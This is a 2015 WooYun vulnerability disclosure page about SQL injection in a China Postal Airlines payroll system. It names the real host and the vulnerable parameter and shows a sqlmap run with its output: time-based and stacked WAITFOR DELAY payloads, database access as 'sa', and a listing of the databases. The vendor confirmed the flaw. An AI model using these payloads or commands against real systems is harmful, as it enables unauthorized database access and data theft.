当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0104773

漏洞标题:中国邮政航空公司某系统存在SQL注入漏洞

相关厂商:中国邮政集团公司信息技术局

漏洞作者: Mr.leo

提交时间:2015-04-01 16:21

修复时间:2015-05-17 10:18

公开时间:2015-05-17 10:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-01: 细节已通知厂商并且等待厂商处理中
2015-04-02: 厂商已经确认,细节仅向厂商公开
2015-04-12: 细节向核心白帽子及相关领域专家公开
2015-04-22: 细节向普通白帽子公开
2015-05-02: 细节向实习白帽子公开
2015-05-17: 细节向公众公开

简要描述:

中国邮政航空公司某系统存在SQL注入漏洞

详细说明:

http://218.247.135.38/templates/index/hrlogon.jsp 中国邮政航空公司薪酬查询系统
注入点:http://218.247.135.38/pos/posbusiness/train_get_code_tree.jsp?codesetid=1
注入参数:codesetid

[root@Hacker~]# Sqlmap -u "http://218.247.135.38/pos/posbusiness/train_get_code_
tree.jsp?codesetid=1" --dbs --current-user --current-db
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 12:24:14
[12:24:14] [INFO] resuming back-end DBMS 'microsoft sql server'
[12:24:14] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) reque
sts:
---
Place: GET
Parameter: codesetid
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: codesetid=1'; WAITFOR DELAY '0:0:5';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: codesetid=1' WAITFOR DELAY '0:0:5'--
---
[12:24:31] [INFO] the back-end DBMS is Microsoft SQL Server
web application technology: JSP
back-end DBMS: Microsoft SQL Server 2008
[12:24:31] [INFO] fetching current user
[12:24:31] [WARNING] time-based comparison needs larger statistical model. Makin
g a few dummy requests, please wait..
[12:27:38] [WARNING] it is very important not to stress the network adapter's ba
ndwidth during usage of time-based queries
sa
current user: 'sa'
[12:34:05] [INFO] fetching current database
[12:34:05] [INFO] retrieved: HRDATA
current database: 'HRDATA'
[12:50:32] [INFO] fetching database names
[12:50:32] [INFO] fetching number of databases
[12:50:32] [INFO] retrieved: 10
[12:54:06] [INFO] retrieved: HR2
[13:03:28] [INFO] retrieved: HRDATA
[13:19:57] [INFO] retrieved: master
[13:36:56] [INFO] retrieved: model
[13:51:37] [INFO] retrieved: msdb
[14:03:39] [INFO] retrieved: ReportServer
[14:36:05] [INFO] retrieved: ReportServerTempDB
[15:24:00] [INFO] retrieved: temp


sa权限,基于时间的,不深入。

漏洞证明:

已经证明

修复方案:

过滤

版权声明:转载请注明来源 Mr.leo@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-04-02 10:17

厂商回复:

谢谢

最新状态:

暂无